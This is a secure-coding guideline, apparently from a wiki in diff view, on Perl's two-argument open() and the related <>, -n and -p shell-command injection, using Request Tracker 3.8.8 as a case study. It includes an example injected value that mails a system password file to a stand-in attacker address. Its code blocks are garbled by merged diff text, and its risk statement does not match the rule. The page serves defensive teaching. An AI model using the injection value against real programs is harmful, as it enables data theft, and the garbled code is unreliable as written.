The Perl open()
function has several forms. The perlfunc(1)
manpage lists the following:
open FILEHANDLE,EXPR
open FILEHANDLE,MODE,EXPR
open FILEHANDLE,MODE,EXPR,LIST
open FILEHANDLE,MODE,REFERENCE
open FILEHANDLE
Opens the file whose filename file name is given by EXPR , and associates it with FILEHANDLE.
If the MODE
argument is provided , (that is, if open()
is given three or more arguments), the MODE
argument indicates if the file is opened for input or output. It can also indicate that rather than opening a file, the system should execute a shell command , and treat it as an input file or an output file. If the two-argument form is used, the EXPR
should contain both the MODE
argument and filename file name to be opened , or shell command to be executed.
If an attacker is able to can provide a filename file name argument to be used in the two-argument form of open()
, they the attacker can instead provide a shell command, which gets executed by the program.
Noncompliant Code Example
This noncompliant code example uses the two-argument form of open()
.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, $filename) or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
While Although this code clearly expects its file to be opened for reading, the filename file name might indicate a shell command. It might also indicate a file to be written , rather than read.
Noncompliant Code Example (<
)
This noncompliant code example attempts to mitigate the problem by prepending a <
to the filenamefile name.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, "<$filename") or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
If $filename
begins or ends with |
, the preceding <
forces it to be treated as a file name , rather than a shell command.
This code will not execute a shell command. However, an attacker could cause a program to hang by supplying -
as the filename. This file name, which is interpreted by open()
as reading standard input.
Noncompliant Code Example (
...
<ARGV>
)
This noncompliant code example uses the <>
<ARGV>
operator.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open( FILE, $filename) or croak("file not found"); while (<><ARGV>) { print ":: $_"; }; |
This code suffers from the same vulnerability as the first noncompliant code example. The <>
<ARGV>
operator opens every file provided in the @ARGV
array , and returns a line from each file. Unfortunately, it uses the two-argument form of open()
to accomplish this task. If any element of @ARGV
begins or ends with |
, it will be it is interpreted as a shell command and executed. In this manner, the <>
operator acts excatly like the two-argument form of open()
Noncompliant Code Example (<>
)
This noncompliant code example uses the <>
operator.
Code Block | ||||
---|---|---|---|---|
| ||||
while (<>) {
print ":: $_";
};
|
The <>
operator is a synonym for <ARGV>
and has the same behavior with the same vulnerability.
Noncompliant Code Example (-n
)
This noncompliant code example uses the -n
argument to Perl.
Code Block | ||
---|---|---|
| ||
perl -n 'print ":: $_\n";' *
|
This code suffers from the same vulnerability as the previous noncompliant code example. The -n
argument instructs Perl to open every file in the command line (in this case, every file in the current directory) , and return a line from each file. If any argument in the command begins or ends with |
, it will be it is interpreted as a shell command and executed. In this manner, the -n
operator acts excatly exactly like the two-argument form of open()
.
Noncompliant Code Example (-p
)
This noncompliant code example uses the -p
argument to Perl.
Code Block | ||
---|---|---|
| ||
perl -p '$_ = ":: $_\n";' *
|
This code suffers from the same vulnerability as the previous noncompliant code example. The -p
argument instructs Perl to open every file in the command line (in this case, every file in the current directory) , and return a line from each file. Unlike -n
, -p
also instructs Perl to print the line read (stored in $_
) at the end of each iteration of its implicit loop. If any argument in the command begins or ends with |
, it will be it is interpreted as a shell command and executed. In this manner, the -n
operator acts excatly exactly like the two-argument form of open()
.
Compliant Solution
This compliant solution invokes open()
with three arguments , rather than two.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, "<", $filename) or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
The three-argument invocations of open()
are not subject to the same vulnerabilities as the two-argument open()
. In this code, $filename
is treated as a file name , even if it contains characters that are treated specially by the two-argument open()
function. For example, if $filename
is specified as -
, then the three-argument open()
attempts to open a file name named -
, rather than opening standard input.
Noncompliant Code Example (RT 3.8.8)
The RT (request Request Tracker) software contains the following code in the bin/rt
file:
Code Block | ||||
---|---|---|---|---|
| ||||
# Makes a hash of the specified configuration file.
sub parse_config_file {
my %cfg;
my ($file) = @_;
local $_; # $_ may be aliased to a constant, from line 1163
open(CFG, $file) && do {
|
This subroutine is called by the subroutine config_from_file
, which is itself invoked ofrom from the following:
Code Block | ||
---|---|---|
| ||
config_from_file($ENV{RTCONFIG} || ".rtrc"),
|
Since Because any user can invoke the rt
executable with environment variables they controlhe or she controls, a hostile user may set the RTCONFIG
environment variable to a malicious command, such as:
Code Block | ||
---|---|---|
| ||
cat /etc/password | mail some@badguy.net |
|
The final |
indicates to Perl that this is a shell command. When passed to the two-argument form of open()
, Perl executes the command.
Compliant Solution (RT 3.8.8)
This compliant solution invokes open()
with three arguments:
Code Block | ||||
---|---|---|---|---|
| ||||
sub parse_config_file {
my %cfg;
my ($file) = @_;
local $_; # $_ may be aliased to a constant, from line 1163
open(CFG, "<", $file) && do {
|
This will cause code causes $file
to be treated as a filename file name regardless of what special characters it might contain.
Note that the last line of this compliant solution still violates FIO00-PL. Do not use bareword file handles.
Risk Assessment
Failure to handle error codes or other values returned by functions can lead to incorrect program flow and violations of data integrity.
Recommendation | Severity | Likelihood | Remediation Cost | Priority | Level |
---|---|---|---|---|---|
EXP31IDS31-PL | high | likely | low | P27 | L1 |
Automated Detection
Tool | Version | DiagnosticChecker | Description |
---|---|---|---|
Perl::Critic | 5.0 | InputOutput::ProhibitTwoArgOpen | Implemented |
B::Lint | 5.0 | Use of <> | Implemented |
Bibliography
Wiki Markup |
---|
\[[Manpages|AA. Bibliography#Manpages]\] [perlfunc|http://perldoc.perl.org/perlfunc.html] |
...
EXP11-C. Do not apply operators expecting one type to data of an incompatible type 03. Expressions (EXP) EXP13-C. Treat relational and equality operators as if they were nonassociative